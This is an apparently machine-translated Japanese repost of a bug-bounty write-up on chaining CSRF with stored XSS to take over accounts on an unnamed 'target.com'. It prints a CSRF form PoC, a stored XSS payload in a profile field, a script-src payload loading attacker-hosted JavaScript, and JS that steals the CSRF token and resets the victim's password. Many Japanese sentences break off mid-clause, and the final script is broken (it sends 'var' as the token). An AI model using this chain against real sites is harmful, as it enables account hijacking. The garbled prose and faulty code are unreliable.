Hello there, ('ω')ノ
CSRF + 保存された XSS がアカウントの完全な乗っ取りにつながるを。
脆弱性:
保存された XSS
CSRF
アカウントの乗っ取り
記事:
https://medium.com/@bag0zathev2/csrf-stored-xss-to-leading-to-full-account-takeover-39e9a79533e3
この記事は、CSRF + XSS に関する私の調査結果と、それらの両方を使用してアカウン今回は、hackerone の priv8 プログラムでの発見に関するもので。
1.CSRF
2.XSS
3.XSS + CSRF = アカウント乗っ取り
影響を受けるサイトを target.com と呼ぶことに。
最初に、ウェブサイトを開き始め、新しいユーザーを登録し。
あちこちでいくつかの機能をテストし。
次に、最も重要な部分の1つである「アカウント情報/設定」セクションを。
最初に、いくつかの詳細の変更を確認し、リクエストを検査し始め。
次に、何かを制御するヘッダー、CSRF トークン、または。
セキュリティ レベルがないことに気付き。
すぐに CSRF PoC を生成してテストして。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://www.target.com/?controller=account-service&action=update" method="POST">
<input type="hidden" name="first_name" value="sir" />
<input type="hidden" name="last_name" value="bugs" />
<input type="hidden" name="organization" value="" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="address_line_1" value="" />
<input type="hidden" name="address_line_2" value="" />
<input type="hidden" name="city" value="mango" />
<input type="hidden" name="zip" value="" />
<input type="hidden" name="country" value="US" />
<input type="hidden" name="state_province" value="Other" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
その後、CSRFを取得できて。
そして、パスワードを変更しようとし始め。
現在のパスワードの要求が見られなかったので、本当に嬉しくて。
password+confirm passwordを要求するだけで、変更され。
ただし、CSRF を使用してパスワードも変更しようとすると。
ここでうまくいかないことに直面して。
パスワード変更要求で使用される csrf トークンがあり。
ここで、他の入力のテストを開始し、XSS を取得しようとし。
入力に“ ‘ ( ) < >と他の文字を入力しようとしたときに奇妙なことに気付き。
それは、cityを下記のように設定した後、次のことに気付き。
**mango”’>**
次のようにcityに設定すると。
mango"><script>alert(document.cookie)</script>
それは、リクエストを保護するものは何もエンコードされておらず。
2.これで、最初の CSRF で XSS を取得できて。
簡単な js コードを作成して自分の Web サイトにアップロードし。
下記をペイロードとして使用すると。
mango”><script src=”my_js_file_url”></script>
下記のようにファイルが含まれて。
<script>var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open(‘get’,’/account-details’,true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name=”csrf-passwd” value=”(\w+)”/)[1];
};
var http = new XMLHttpRequest();
http.open("POST", "/change-password", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("content").innerHTML = this.responseText;
}
};
http.send("password=123123&confirm_password=123123&csrf_token="+var);
</script>
そして、アカウントを完全に制御して。
Best regards, (^^ゞ